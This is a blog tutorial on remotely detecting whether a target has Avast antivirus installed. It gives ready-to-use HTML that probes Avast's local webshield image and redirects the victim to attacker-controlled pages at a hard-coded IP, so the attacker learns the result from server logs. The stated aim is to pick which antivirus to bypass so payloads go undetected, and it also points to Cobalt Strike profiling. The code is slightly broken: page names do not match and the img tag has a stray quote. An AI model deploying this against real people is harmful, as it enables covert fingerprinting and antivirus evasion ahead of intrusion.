How to detect Avast Antivirus remotely

 During assessment if you know which Anti virus is used by client then you won half battle.Because ...


 During assessment if you know which Anti virus is used by client then you won half battle.Because you can download trial version of that AV & install it in virtual box & try to bypass that AV. So during real assessment your payload or binary don`t get caught.Today we gonna try to detect if client has installed avast or not?

Original video is posted here. In avast their is feature of site blocking ; so if you want to block any site you can put its address in block url section of avast interface.when someone load that site they get response as shown in below image.



How-to-detect-Avast-Antivirus-remotely

In above image you can see that avast logo which address is localhost:12080/$$avast-webshield$$/image001.png . So if in client machine avast is installed than that image is also located at that address , by examine image is exist or not we can know that whether avast is installed or not.

For this purpose victim should visit  our link where we can check about image.So i am gonna use my apache server ; where i put three html page. One is our link which we gonna send to victim ; if image exist it redirect to other document ; & if image does not exist it redirect to third html page.

(1)Make blank html page & give it to name avst.html & put following code in that html page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(2)Now make second html page & give it to name ntavst.html & put same code in that page.

<meta http-equiv="refresh" content="0; url=http://google.com/">

(3)Make third & final html page and give it to name exp.html & put following code.

<div dir="ltr" style="text-align: left;" trbidi="on">

<img src="http://127.0.0.1:12080/$$avast-webshield$$"/image001.png" onload="document.location='http://180.215.198.150/avast.html'" onerror="document.location='http://180.215.198.150/ntavast.html'" />

Note:- Change your i.p in above code.

Now put these all document in /var/www/ folder.And send link of exp.html to victim

So if avast installed then it redirect to avast.html page & finally redirect to google.com & if it does not installed then it will redirect to ntavst.html page & then redirect to google.com

Now check your apache log file from \var\log\apache2\log ; you can check if avst.html page has been visited or ntavst.html page.

How-to-detect-Avast-Antivirus-remotely
PS: You can use cobalt strike `s system profiler which get you os version;  browser detail; java version ; adobe reader  version & flash version.
Name

android facebook free-zone Freebies hacking How-to programming scripts video whatsapp
false
ltr
item
Mr Tricks: How to detect Avast Antivirus remotely
How to detect Avast Antivirus remotely
http://1.bp.blogspot.com/-5BrJB70VR8Y/VRUrGz7vkpI/AAAAAAAAAKM/l61ELF0elXc/s1600/Avast-Site-Blocking.png
http://1.bp.blogspot.com/-5BrJB70VR8Y/VRUrGz7vkpI/AAAAAAAAAKM/l61ELF0elXc/s72-c/Avast-Site-Blocking.png
Mr Tricks
http://mr-tricks.blogspot.com/2015/03/how-to-detect-avast-antivirus-remotely.html
http://mr-tricks.blogspot.com/
http://mr-tricks.blogspot.com/
http://mr-tricks.blogspot.com/2015/03/how-to-detect-avast-antivirus-remotely.html
true
248440411475805434
UTF-8
Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy